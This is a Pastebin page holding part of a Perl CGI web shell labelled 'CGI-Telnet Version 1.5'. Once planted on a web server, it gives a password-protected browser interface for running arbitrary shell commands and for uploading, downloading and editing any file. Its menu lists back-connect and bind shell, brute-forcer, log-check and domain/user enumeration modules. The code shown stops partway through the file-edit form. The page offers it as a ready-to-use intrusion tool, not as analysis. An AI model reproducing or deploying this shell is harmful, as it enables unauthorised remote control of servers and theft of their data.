soibac

mylove.jr

Dec 15th, 2016
197
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 53.35 KB | None | 0 0
  1. #!/usr/bin/perl -I/usr/local/bandmin
  2. use MIME::Base64;
  3. $Version= "CGI-Telnet Version 1.5";
  4. $EditPersion="<font style='text-shadow: 0px 0px 6px rgb(255, 0, 0), 0px 0px 5px rgb(255, 0, 0), 0px 0px 5px rgb(255, 0, 0); color:#ffffff; font-weight:bold;'>Kym Ljnk</font>";
  5.  
  6. $Password = "xxx"; # Change this. You will need to enter this
  7. # to login.
  8. sub Is_Win(){
  9. $os = &trim($ENV{"SERVER_SOFTWARE"});
  10. if($os =~ m/win/i){
  11. return 1;
  12. }else{
  13. return 0;
  14. }
  15. }
  16. $WinNT = &Is_Win(); # You need to change the value of this to 1 if
  17. # you're running this script on a Windows NT
  18. # machine. If you're running it on Unix, you
  19. # can leave the value as it is.
  20.  
  21. $NTCmdSep = "&"; # This character is used to seperate 2 commands
  22. # in a command line on Windows NT.
  23.  
  24. $UnixCmdSep = ";"; # This character is used to seperate 2 commands
  25. # in a command line on Unix.
  26.  
  27. $CommandTimeoutDuration = 10; # Time in seconds after commands will be killed
  28. # Don't set this to a very large value. This is
  29. # useful for commands that may hang or that
  30. # take very long to execute, like "find /".
  31. # This is valid only on Unix servers. It is
  32. # ignored on NT Servers.
  33.  
  34. $ShowDynamicOutput = 1; # If this is 1, then data is sent to the
  35. # browser as soon as it is output, otherwise
  36. # it is buffered and send when the command
  37. # completes. This is useful for commands like
  38. # ping, so that you can see the output as it
  39. # is being generated.
  40.  
  41. # DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!
  42.  
  43. $CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);
  44. $CmdPwd = ($WinNT ? "cd" : "pwd");
  45. $PathSep = ($WinNT ? "\\" : "/");
  46. $Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");
  47. $cols= 130;
  48. $rows= 26;
  49. #------------------------------------------------------------------------------
  50. # Reads the input sent by the browser and parses the input variables. It
  51. # parses GET, POST and multipart/form-data that is used for uploading files.
  52. # The filename is stored in $in{'f'} and the data is stored in $in{'filedata'}.
  53. # Other variables can be accessed using $in{'var'}, where var is the name of
  54. # the variable. Note: Most of the code in this function is taken from other CGI
  55. # scripts.
  56. #------------------------------------------------------------------------------
  57. sub ReadParse
  58. {
  59. local (*in) = @_ if @_;
  60. local ($i, $loc, $key, $val);
  61. $MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;
  62. if($ENV{'REQUEST_METHOD'} eq "GET")
  63. {
  64. $in = $ENV{'QUERY_STRING'};
  65. }
  66. elsif($ENV{'REQUEST_METHOD'} eq "POST")
  67. {
  68. binmode(STDIN) if $MultipartFormData & $WinNT;
  69. read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
  70. }
  71. # handle file upload data
  72. if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)
  73. {
  74. $Boundary = '--'.$1; # please refer to RFC1867
  75. @list = split(/$Boundary/, $in);
  76. $HeaderBody = $list[1];
  77. $HeaderBody =~ /\r\n\r\n|\n\n/;
  78. $Header = $`;
  79. $Body = $';
  80. $Body =~ s/\r\n$//; # the last \r\n was put in by Netscape
  81. $in{'filedata'} = $Body;
  82. $Header =~ /filename=\"(.+)\"/;
  83. $in{'f'} = $1;
  84. $in{'f'} =~ s/\"//g;
  85. $in{'f'} =~ s/\s//g;
  86.  
  87. # parse trailer
  88. for($i=2; $list[$i]; $i++)
  89. {
  90. $list[$i] =~ s/^.+name=$//;
  91. $list[$i] =~ /\"(\w+)\"/;
  92. $key = $1;
  93. $val = $';
  94. $val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
  95. $val =~ s/%(..)/pack("c", hex($1))/ge;
  96. $in{$key} = $val;
  97. }
  98. }
  99. else # standard post data (url encoded, not multipart)
  100. {
  101. @in = split(/&/, $in);
  102. foreach $i (0 .. $#in)
  103. {
  104. $in[$i] =~ s/\+/ /g;
  105. ($key, $val) = split(/=/, $in[$i], 2);
  106. $key =~ s/%(..)/pack("c", hex($1))/ge;
  107. $val =~ s/%(..)/pack("c", hex($1))/ge;
  108. $in{$key} .= "\0" if (defined($in{$key}));
  109. $in{$key} .= $val;
  110. }
  111. }
  112. }
  113. #------------------------------------------------------------------------------
  114. # function EncodeDir: encode base64 Path
  115. #------------------------------------------------------------------------------
  116. sub EncodeDir
  117. {
  118. my $dir = shift;
  119. $dir = trim(encode_base64($dir));
  120. $dir =~ s/(\r|\n)//;
  121. return $dir;
  122. }
  123. #------------------------------------------------------------------------------
  124. # Prints the HTML Page Header
  125. # Argument 1: Form item name to which focus should be set
  126. #------------------------------------------------------------------------------
  127. sub PrintPageHeader
  128. {
  129. $EncodeCurrentDir = EncodeDir($CurrentDir);
  130. my $id = `id` if(!$WinNT);
  131. my $info = `uname -s -n -r -i`;
  132. print "Content-type: text/html\n\n";
  133. print <<END;
  134. <html>
  135. <head>
  136. <meta http-equiv="content-type" content="text/html; charset=UTF-8">
  137. <title>$ENV{'SERVER_NAME'} | IP : $ENV{'SERVER_ADDR'} </title>
  138. $HtmlMetaHeader
  139. </head>
  140. <style>
  141. body{
  142. font: 10pt Verdana;
  143. color: #fff;
  144. }
  145. tr,td,table,input,textarea {
  146. BORDER-RIGHT: #3e3e3e 1px solid;
  147. BORDER-TOP: #3e3e3e 1px solid;
  148. BORDER-LEFT: #3e3e3e 1px solid;
  149. BORDER-BOTTOM: #3e3e3e 1px solid;
  150. }
  151. #domain tr:hover{
  152. background-color: #444;
  153. }
  154. td {
  155. color: #ffffff;
  156. }
  157. .listdir td{
  158. text-align: center;
  159. }
  160. .listdir th{
  161. color: #FF9900;
  162. }
  163. .dir,.file
  164. {
  165. text-align: left !important;
  166. }
  167. .dir{
  168. font-size: 10pt;
  169. font-weight: bold;
  170. }
  171. table {
  172. BACKGROUND-COLOR: #111;
  173. }
  174. input {
  175. BACKGROUND-COLOR: Black;
  176. color: #ff9900;
  177. }
  178. input.submit {
  179. text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  180. color: #FFFFFF;
  181. border-color: #009900;
  182. }
  183. code {
  184. border: dashed 0px #333;
  185. color: while;
  186. }
  187. run {
  188. border : dashed 0px #333;
  189. color: #FF00AA;
  190. }
  191. textarea {
  192. BACKGROUND-COLOR: #1b1b1b;
  193. font: Fixedsys bold;
  194. color: #aaa;
  195. }
  196. A:link {
  197. COLOR: #ffffff; TEXT-DECORATION: none
  198. }
  199. A:visited {
  200. COLOR: #ffffff; TEXT-DECORATION: none
  201. }
  202. A:hover {
  203. text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  204. color: #FFFFFF; TEXT-DECORATION: none
  205. }
  206. A:active {
  207. color: Red; TEXT-DECORATION: none
  208. }
  209. .listdir tr:hover{
  210. background: #444;
  211. }
  212. .listdir tr:hover td{
  213. background: #444;
  214. text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  215. color: #FFFFFF; TEXT-DECORATION: none;
  216. }
  217. .notline{
  218. background: #111;
  219. }
  220. .line{
  221. background: #222;
  222. }
  223. </style>
  224. <script language="javascript">
  225. function Encoder(name)
  226. {
  227. var e = document.getElementById(name);
  228. e.value = btoa(e.value);
  229. return true;
  230. }
  231. function chmod_form(i,file)
  232. {
  233. document.getElementById("FilePerms_"+i).innerHTML="<form name=FormPerms_" + i+ " action='' method='POST'><input id=text_" + i + " name=chmod type=text size=5 /><input type=submit class='submit' value=OK><input type=hidden name=a value='gui'><input type=hidden name=d value='$EncodeCurrentDir'><input type=hidden name=f value='"+file+"'></form>";
  234. document.getElementById("text_" + i).focus();
  235. }
  236. function rm_chmod_form(response,i,perms,file)
  237. {
  238. response.innerHTML = "<span onclick=\\\"chmod_form(" + i + ",'"+ file+ "')\\\" >"+ perms +"</span></td>";
  239. }
  240. function rename_form(i,file,f)
  241. {
  242. f.replace(/\\\\/g,"\\\\\\\\");
  243. var back="rm_rename_form("+i+",\\\""+file+"\\\",\\\""+f+"\\\"); return false;";
  244. document.getElementById("File_"+i).innerHTML="<form name=FormPerms_" + i+ " action='' method='POST'><input id=text_" + i + " name=rename type=text value= '"+file+"' /><input type=submit class='submit' value=OK><input type=submit class='submit' onclick='" + back + "' value=Cancel><input type=hidden name=a value='gui'><input type=hidden name=d value='$EncodeCurrentDir'><input type=hidden name=f value='"+file+"'></form>";
  245. document.getElementById("text_" + i).focus();
  246. }
  247. function rm_rename_form(i,file,f)
  248. {
  249. if(f=='f')
  250. {
  251. document.getElementById("File_"+i).innerHTML="<a href='?a=command&d=$EncodeCurrentDir&c=edit%20"+file+"%20'>" +file+ "</a>";
  252. }else
  253. {
  254. document.getElementById("File_"+i).innerHTML="<a href='?a=gui&d="+f+"'>[ " +file+ " ]</a>";
  255. }
  256. }
  257. </script>
  258. <body onLoad="document.f.@_.focus()" bgcolor="#0c0c0c" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0">
  259. <center><code>
  260. <table border="1" width="100%" cellspacing="0" cellpadding="2">
  261. <tr>
  262. <td align="center" rowspan=3>
  263. <b><font size="3">=--[ $EditPersion ]--=</font></b>
  264. </td>
  265. <td>
  266. $info
  267. </td>
  268. <td>Server IP:<font color="red"> $ENV{'SERVER_ADDR'}</font> | Your IP: <font color="red">$ENV{'REMOTE_ADDR'}</font>
  269. </td>
  270. </tr>
  271. <tr>
  272. <td colspan="2">
  273. <a href="$ScriptLocation">Home</a> |
  274. <a href="$ScriptLocation?a=command&d=$EncodeCurrentDir">Command</a> |
  275. <a href="$ScriptLocation?a=gui&d=$EncodeCurrentDir">GUI</a> |
  276. <a href="$ScriptLocation?a=upload&d=$EncodeCurrentDir">Upload File</a> |
  277. <a href="$ScriptLocation?a=download&d=$EncodeCurrentDir">Download File</a> |
  278. <a href="$ScriptLocation?a=backbind">Back & Bind</a> |
  279. <a href="$ScriptLocation?a=bruteforcer">Brute Forcer</a> |
  280. <a href="$ScriptLocation?a=checklog">Check Log</a> |
  281. <a href="$ScriptLocation?a=domainsuser">Domains/Users</a> |
  282. <a href="$ScriptLocation?a=logout">Logout</a> |
  283. <a target='_blank' href="../error_log.php">Help</a>
  284. </td>
  285. </tr>
  286. <tr>
  287. <td colspan="2">
  288. $id
  289. </td>
  290. </tr>
  291. </table>
  292. <font id="ResponseData" color="#FFFFFF" >
  293. END
  294. }
  295. #------------------------------------------------------------------------------
  296. # Prints the Login Screen
  297. #------------------------------------------------------------------------------
  298. sub PrintLoginScreen
  299. {
  300. print <<END;
  301. <pre><script type="text/javascript">
  302. TypingText = function(element, interval, cursor, finishedCallback) {
  303. if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
  304. this.running = true; // Never run.
  305. return;
  306. }
  307. this.element = element;
  308. this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
  309. this.interval = (typeof interval == "undefined" ? 100 : interval);
  310. this.origText = this.element.innerHTML;
  311. this.unparsedOrigText = this.origText;
  312. this.cursor = (cursor ? cursor : "");
  313. this.currentText = "";
  314. this.currentChar = 0;
  315. this.element.typingText = this;
  316. if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
  317. TypingText.all.push(this);
  318. this.running = false;
  319. this.inTag = false;
  320. this.tagBuffer = "";
  321. this.inHTMLEntity = false;
  322. this.HTMLEntityBuffer = "";
  323. }
  324. TypingText.all = new Array();
  325. TypingText.currentIndex = 0;
  326. TypingText.runAll = function() {
  327. for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
  328. }
  329. TypingText.prototype.run = function() {
  330. if(this.running) return;
  331. if(typeof this.origText == "undefined") {
  332. setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval); // We haven't finished loading yet. Have patience.
  333. return;
  334. }
  335. if(this.currentText == "") this.element.innerHTML = "";
  336. // this.origText = this.origText.replace(/<([^<])*>/, ""); // Strip HTML from text.
  337. if(this.currentChar < this.origText.length) {
  338. if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
  339. this.tagBuffer = "<";
  340. this.inTag = true;
  341. this.currentChar++;
  342. this.run();
  343. return;
  344. } else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
  345. this.tagBuffer += ">";
  346. this.inTag = false;
  347. this.currentText += this.tagBuffer;
  348. this.currentChar++;
  349. this.run();
  350. return;
  351. } else if(this.inTag) {
  352. this.tagBuffer += this.origText.charAt(this.currentChar);
  353. this.currentChar++;
  354. this.run();
  355. return;
  356. } else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
  357. this.HTMLEntityBuffer = "&";
  358. this.inHTMLEntity = true;
  359. this.currentChar++;
  360. this.run();
  361. return;
  362. } else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
  363. this.HTMLEntityBuffer += ";";
  364. this.inHTMLEntity = false;
  365. this.currentText += this.HTMLEntityBuffer;
  366. this.currentChar++;
  367. this.run();
  368. return;
  369. } else if(this.inHTMLEntity) {
  370. this.HTMLEntityBuffer += this.origText.charAt(this.currentChar);
  371. this.currentChar++;
  372. this.run();
  373. return;
  374. } else {
  375. this.currentText += this.origText.charAt(this.currentChar);
  376. }
  377. this.element.innerHTML = this.currentText;
  378. this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == "function" ? this.cursor(this.currentText) : this.cursor) : "");
  379. this.currentChar++;
  380. setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
  381. } else {
  382. this.currentText = "";
  383. this.currentChar = 0;
  384. this.running = false;
  385. this.finishedCallback();
  386. }
  387. }
  388. </script>
  389. </pre>
  390.  
  391. <br>
  392.  
  393. <script type="text/javascript">
  394. new TypingText(document.getElementById("hack"), 30, function(i){ var ar = new Array("_",""); return " " + ar[i.length % ar.length]; });
  395. TypingText.runAll();
  396.  
  397. </script>
  398. END
  399. }
  400. #------------------------------------------------------------------------------
  401. # encode html special chars
  402. #------------------------------------------------------------------------------
  403. sub UrlEncode($){
  404. my $str = shift;
  405. $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
  406. return $str;
  407. }
  408. #------------------------------------------------------------------------------
  409. # Add html special chars
  410. #------------------------------------------------------------------------------
  411. sub HtmlSpecialChars($){
  412. my $text = shift;
  413. $text =~ s/&/&amp;/g;
  414. $text =~ s/"/&quot;/g;
  415. $text =~ s/'/&#039;/g;
  416. $text =~ s/</&lt;/g;
  417. $text =~ s/>/&gt;/g;
  418. return $text;
  419. }
  420. #------------------------------------------------------------------------------
  421. # Add link for directory
  422. #------------------------------------------------------------------------------
  423. sub AddLinkDir($)
  424. {
  425. my $ac=shift;
  426. my @dir=();
  427. if($WinNT)
  428. {
  429. @dir=split(/\\/,$CurrentDir);
  430. }else
  431. {
  432. @dir=split("/",&trim($CurrentDir));
  433. }
  434. my $path="";
  435. my $result="";
  436. foreach (@dir)
  437. {
  438. $path .= $_.$PathSep;
  439. $result.="<a href='?a=".$ac."&d=".encode_base64($path)."'>".$_.$PathSep."</a>";
  440. }
  441. return $result;
  442. }
  443. #------------------------------------------------------------------------------
  444. # Prints the message that informs the user of a failed login
  445. #------------------------------------------------------------------------------
  446. sub PrintLoginFailedMessage
  447. {
  448. print <<END;
  449.  
  450.  
  451. Password:<br>
  452. Login incorrect<br><br>
  453. END
  454. }
  455.  
  456. #------------------------------------------------------------------------------
  457. # Prints the HTML form for logging in
  458. #------------------------------------------------------------------------------
  459. sub PrintLoginForm
  460. {
  461. print <<END;
  462. <form name="f" method="POST" action="$ScriptLocation">
  463. <input type="hidden" name="a" value="login">
  464. Login : Administrator<br>
  465. Password:<input type="password" name="p">
  466. <input class="submit" type="submit" value="Enter">
  467. </form>
  468. END
  469. }
  470. #------------------------------------------------------------------------------
  471. # Prints the footer for the HTML Page
  472. #------------------------------------------------------------------------------
  473. sub PrintPageFooter
  474. {
  475. print "<br>
  476. <font color=red>=</font><font color=red>---&gt;* <font color=#ff9900>Pass = xxx </font> *&lt;---=</font></code>
  477. </center></body></html>";
  478. }
  479. #------------------------------------------------------------------------------
  480. # Retreives the values of all cookies. The cookies can be accesses using the
  481. # variable $Cookies{''}
  482. #------------------------------------------------------------------------------
  483. sub GetCookies
  484. {
  485. @httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});
  486. foreach $cookie(@httpcookies)
  487. {
  488. ($id, $val) = split(/=/, $cookie);
  489. $Cookies{$id} = $val;
  490. }
  491. }
  492. #------------------------------------------------------------------------------
  493. # Prints the screen when the user logs out
  494. #------------------------------------------------------------------------------
  495. sub PrintLogoutScreen
  496. {
  497. print "Connection closed by foreign host.<br><br>";
  498. }
  499.  
  500. #------------------------------------------------------------------------------
  501. # Logs out the user and allows the user to login again
  502. #------------------------------------------------------------------------------
  503. sub PerformLogout
  504. {
  505. print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie
  506. &PrintPageHeader("p");
  507. &PrintLogoutScreen;
  508.  
  509. &PrintLoginScreen;
  510. &PrintLoginForm;
  511. &PrintPageFooter;
  512. exit;
  513. }
  514.  
  515. #------------------------------------------------------------------------------
  516. # This function is called to login the user. If the password matches, it
  517. # displays a page that allows the user to run commands. If the password doens't
  518. # match or if no password is entered, it displays a form that allows the user
  519. # to login
  520. #------------------------------------------------------------------------------
  521. sub PerformLogin
  522. {
  523. if($LoginPassword eq $Password) # password matched
  524. {
  525. print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
  526. &PrintPageHeader;
  527. print &ListDir;
  528. }
  529. else # password didn't match
  530. {
  531. &PrintPageHeader("p");
  532. &PrintLoginScreen;
  533. if($LoginPassword ne "") # some password was entered
  534. {
  535. &PrintLoginFailedMessage;
  536.  
  537. }
  538. &PrintLoginForm;
  539. &PrintPageFooter;
  540. exit;
  541. }
  542. }
  543. #------------------------------------------------------------------------------
  544. # Prints the HTML form that allows the user to enter commands
  545. #------------------------------------------------------------------------------
  546. sub PrintCommandLineInputForm
  547. {
  548. $EncodeCurrentDir = EncodeDir($CurrentDir);
  549. my $dir= "<span style='font: 11pt Verdana; font-weight: bold;'>".&AddLinkDir("command")."</span>";
  550. $Prompt = $WinNT ? "$dir > " : "<font color='#FFFFFF'>[admin\@$ServerName $dir]\$</font> ";
  551. return <<END;
  552. <form name="f" method="POST" action="$ScriptLocation" onSubmit="Encoder('c')">
  553.  
  554. <input type="hidden" name="a" value="command">
  555.  
  556. <input type="hidden" name="d" value="$EncodeCurrentDir">
  557. $Prompt
  558. <input type="text" size="40" name="c" id="c">
  559. <input class="submit" type="submit" value="Enter">
  560. </form>
  561. END
  562. }
  563. #------------------------------------------------------------------------------
  564. # Prints the HTML form that allows the user to download files
  565. #------------------------------------------------------------------------------
  566. sub PrintFileDownloadForm
  567. {
  568. $EncodeCurrentDir = EncodeDir($CurrentDir);
  569. my $dir = &AddLinkDir("download");
  570. $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
  571. return <<END;
  572. <form name="f" method="POST" action="$ScriptLocation">
  573. <input type="hidden" name="d" value="$EncodeCurrentDir">
  574. <input type="hidden" name="a" value="download">
  575. $Prompt download<br><br>
  576. Filename: <input class="file" type="text" name="f" size="35"><br><br>
  577. Download: <input class="submit" type="submit" value="Begin">
  578.  
  579. </form>
  580. END
  581. }
  582.  
  583. #------------------------------------------------------------------------------
  584. # Prints the HTML form that allows the user to upload files
  585. #------------------------------------------------------------------------------
  586. sub PrintFileUploadForm
  587. {
  588. $EncodeCurrentDir = EncodeDir($CurrentDir);
  589. my $dir= &AddLinkDir("upload");
  590. $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
  591. return <<END;
  592. <form name="f" enctype="multipart/form-data" method="POST" action="$ScriptLocation">
  593. $Prompt upload<br><br>
  594. Filename: <input class="file" type="file" name="f" size="35"><br><br>
  595. Options: &nbsp;<input type="checkbox" name="o" id="up" value="overwrite">
  596. <label for="up">Overwrite if it Exists</label><br><br>
  597. Upload:&nbsp;&nbsp;&nbsp;<input class="submit" type="submit" value="Begin">
  598. <input type="hidden" name="d" value="$EncodeCurrentDir">
  599. <input class="submit" type="hidden" name="a" value="upload">
  600. </form>
  601. END
  602. }
  603.  
  604. #------------------------------------------------------------------------------
  605. # This function is called when the timeout for a command expires. We need to
  606. # terminate the script immediately. This function is valid only on Unix. It is
  607. # never called when the script is running on NT.
  608. #------------------------------------------------------------------------------
  609. sub CommandTimeout
  610. {
  611. if(!$WinNT)
  612. {
  613. alarm(0);
  614. return <<END;
  615. </textarea>
  616. <br><font color=yellow>
  617. Command exceeded maximum time of $CommandTimeoutDuration second(s).</font>
  618. <br><font size='6' color=red>Killed it!</font>
  619. END
  620. }
  621. }
  622. #------------------------------------------------------------------------------
  623. # This function displays the page that contains a link which allows the user
  624. # to download the specified file. The page also contains a auto-refresh
  625. # feature that starts the download automatically.
  626. # Argument 1: Fully qualified filename of the file to be downloaded
  627. #------------------------------------------------------------------------------
  628. sub PrintDownloadLinkPage
  629. {
  630. local($FileUrl) = @_;
  631. my $result="";
  632. if(-e $FileUrl) # if the file exists
  633. {
  634. # encode the file link so we can send it to the browser
  635. $FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
  636. $DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
  637. $HtmlMetaHeader = "<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\">";
  638. &PrintPageHeader("c");
  639. $result .= <<END;
  640. Sending File $TransferFile...<br>
  641.  
  642. If the download does not start automatically,
  643. <a href="$DownloadLink">Click Here</a>
  644. END
  645. $result .= &PrintCommandLineInputForm;
  646. }
  647. else # file doesn't exist
  648. {
  649. $result .= "Failed to download $FileUrl: $!";
  650. $result .= &PrintFileDownloadForm;
  651. }
  652. return $result;
  653. }
  654. #------------------------------------------------------------------------------
  655. # This function reads the specified file from the disk and sends it to the
  656. # browser, so that it can be downloaded by the user.
  657. # Argument 1: Fully qualified pathname of the file to be sent.
  658. #------------------------------------------------------------------------------
  659. sub SendFileToBrowser
  660. {
  661. my $result = "";
  662. local($SendFile) = @_;
  663. if(open(SENDFILE, $SendFile)) # file opened for reading
  664. {
  665. if($WinNT)
  666. {
  667. binmode(SENDFILE);
  668. binmode(STDOUT);
  669. }
  670. $FileSize = (stat($SendFile))[7];
  671. ($Filename = $SendFile) =~ m!([^/^\\]*)$!;
  672. print "Content-Type: application/x-unknown\n";
  673. print "Content-Length: $FileSize\n";
  674. print "Content-Disposition: attachment; filename=$1\n\n";
  675. print while(<SENDFILE>);
  676. close(SENDFILE);
  677. exit(1);
  678. }
  679. else # failed to open file
  680. {
  681. $result .= "Failed to download $SendFile: $!";
  682. $result .=&PrintFileDownloadForm;
  683. }
  684. return $result;
  685. }
  686. #------------------------------------------------------------------------------
  687. # This function is called when the user downloads a file. It displays a message
  688. # to the user and provides a link through which the file can be downloaded.
  689. # This function is also called when the user clicks on that link. In this case,
  690. # the file is read and sent to the browser.
  691. #------------------------------------------------------------------------------
  692. sub BeginDownload
  693. {
  694. $EncodeCurrentDir = EncodeDir($CurrentDir);
  695. # get fully qualified path of the file to be downloaded
  696. if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
  697. (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  698. {
  699. $TargetFile = $TransferFile;
  700. }
  701. else # path is relative
  702. {
  703. chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  704. $TargetFile .= $PathSep.$TransferFile;
  705. }
  706.  
  707. if($Options eq "go") # we have to send the file
  708. {
  709. &SendFileToBrowser($TargetFile);
  710. }
  711. else # we have to send only the link page
  712. {
  713. &PrintDownloadLinkPage($TargetFile);
  714. }
  715. }
  716.  
  717. #------------------------------------------------------------------------------
  718. # This function is called when the user wants to upload a file. If the
  719. # file is not specified, it displays a form allowing the user to specify a
  720. # file, otherwise it starts the upload process.
  721. #------------------------------------------------------------------------------
  722. sub UploadFile
  723. {
  724. # if no file is specified, print the upload form again
  725. if($TransferFile eq "")
  726. {
  727. return &PrintFileUploadForm;
  728.  
  729. }
  730. my $result="";
  731. # start the uploading process
  732. $result .= "Uploading $TransferFile to $CurrentDir...<br>";
  733.  
  734. # get the fullly qualified pathname of the file to be created
  735. chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
  736. $TransferFile =~ m!([^/^\\]*)$!;
  737. $TargetName .= $PathSep.$1;
  738.  
  739. $TargetFileSize = length($in{'filedata'});
  740. # if the file exists and we are not supposed to overwrite it
  741. if(-e $TargetName && $Options ne "overwrite")
  742. {
  743. $result .= "Failed: Destination file already exists.<br>";
  744. }
  745. else # file is not present
  746. {
  747. if(open(UPLOADFILE, ">$TargetName"))
  748. {
  749. binmode(UPLOADFILE) if $WinNT;
  750. print UPLOADFILE $in{'filedata'};
  751. close(UPLOADFILE);
  752. $result .= "Transfered $TargetFileSize Bytes.<br>";
  753. $result .= "File Path: $TargetName<br>";
  754. }
  755. else
  756. {
  757. $result .= "Failed: $!<br>";
  758. }
  759. }
  760. $result .= &PrintCommandLineInputForm;
  761. return $result;
  762. }
  763. #------------------------------------------------------------------------------
  764. # This function is called when the user wants to download a file. If the
  765. # filename is not specified, it displays a form allowing the user to specify a
  766. # file, otherwise it displays a message to the user and provides a link
  767. # through which the file can be downloaded.
  768. #------------------------------------------------------------------------------
  769. sub DownloadFile
  770. {
  771. # if no file is specified, print the download form again
  772. if($TransferFile eq "")
  773. {
  774. &PrintPageHeader("f");
  775. return &PrintFileDownloadForm;
  776. }
  777.  
  778. # get fully qualified path of the file to be downloaded
  779. if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) | (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  780. {
  781. $TargetFile = $TransferFile;
  782. }
  783. else # path is relative
  784. {
  785. chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  786. $TargetFile .= $PathSep.$TransferFile;
  787. }
  788.  
  789. if($Options eq "go") # we have to send the file
  790. {
  791. return &SendFileToBrowser($TargetFile);
  792. }
  793. else # we have to send only the link page
  794. {
  795. return &PrintDownloadLinkPage($TargetFile);
  796. }
  797. }
  798. #------------------------------------------------------------------------------
  799. # This function is called to execute commands. It displays the output of the
  800. # command and allows the user to enter another command. The change directory
  801. # command is handled differently. In this case, the new directory is stored in
  802. # an internal variable and is used each time a command has to be executed. The
  803. # output of the change directory command is not displayed to the users
  804. # therefore error messages cannot be displayed.
  805. #------------------------------------------------------------------------------
  806. sub ExecuteCommand
  807. {
  808. $CurrentDir = &TrimSlashes($CurrentDir);
  809. my $result="";
  810. if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command
  811. {
  812. # we change the directory internally. The output of the
  813. # command is not displayed.
  814. $Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
  815. chomp($CurrentDir = `$Command`);
  816. $result .= &PrintCommandLineInputForm;
  817.  
  818. $result .= "Command: <run>$RunCommand </run><br><textarea cols='$cols' rows='$rows' spellcheck='false'>";
  819. # xuat thong tin khi chuyen den 1 thu muc nao do!
  820. $RunCommand= $WinNT?"dir":"dir -lia";
  821. $result .= &RunCmd;
  822. }elsif($RunCommand =~ m/^\s*edit\s+(.+)/)
  823. {
  824. $result .= &SaveFileForm;
  825. }else
  826. {
  827. $result .= &PrintCommandLineInputForm;
  828. $result .= "Command: <run>$RunCommand</run><br><textarea id='data' cols='$cols' rows='$rows' spellcheck='false'>";
  829. $result .=&RunCmd;
  830. }
  831. $result .= "</textarea>";
  832. return $result;
  833. }
  834. #------------------------------------------------------------------------
  835. # run command
  836. #------------------------------------------------------------------------
  837. sub RunCmd
  838. {
  839. my $result="";
  840. $Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
  841. if(!$WinNT)
  842. {
  843. $SIG{'ALRM'} = \&CommandTimeout;
  844. alarm($CommandTimeoutDuration);
  845. }
  846. if($ShowDynamicOutput) # show output as it is generated
  847. {
  848. $|=1;
  849. $Command .= " |";
  850. open(CommandOutput, $Command);
  851. while(<CommandOutput>)
  852. {
  853. $_ =~ s/(\n|\r\n)$//;
  854. $result .= &HtmlSpecialChars("$_\n");
  855. }
  856. $|=0;
  857. }
  858. else # show output after command completes
  859. {
  860. $result .= &HtmlSpecialChars($Command);
  861. }
  862. if(!$WinNT)
  863. {
  864. alarm(0);
  865. }
  866. return $result;
  867. }
  868. #==============================================================================
  869. # Form Save File
  870. #==============================================================================
  871. sub SaveFileForm
  872. {
  873. my $result ="";
  874. $EncodeCurrentDir = EncodeDir($CurrentDir);
  875. substr($RunCommand,0,5)="";
  876. my $file=&trim($RunCommand);
  877. $save='<br><input name="a" type="submit" value="save" class="submit" >';
  878. $File=$CurrentDir.$PathSep.$RunCommand;
  879. my $dir="<span style='font: 11pt Verdana; font-weight: bold;'>".&AddLinkDir("gui")."</span>";
  880. if(-w $File)
  881. {
  882. $rows="23"
  883. }else
  884. {
  885. $msg="<br><font style='color: yellow;' > Cann't write file!<font><br>";
  886. $rows="20"
  887. }
  888. $Prompt = $WinNT ? "$dir > " : "<font color='#FFFFFF'>[admin\@$ServerName $dir]\$</font> ";
  889. $RunCommand = "edit $RunCommand";
  890. $result .= <<END;
  891. <form name="f" method="POST" action="$ScriptLocation">
  892.  
  893. <input type="hidden" name="d" value="$EncodeCurrentDir">
  894. $Prompt
  895. <input type="text" size="40" name="c">
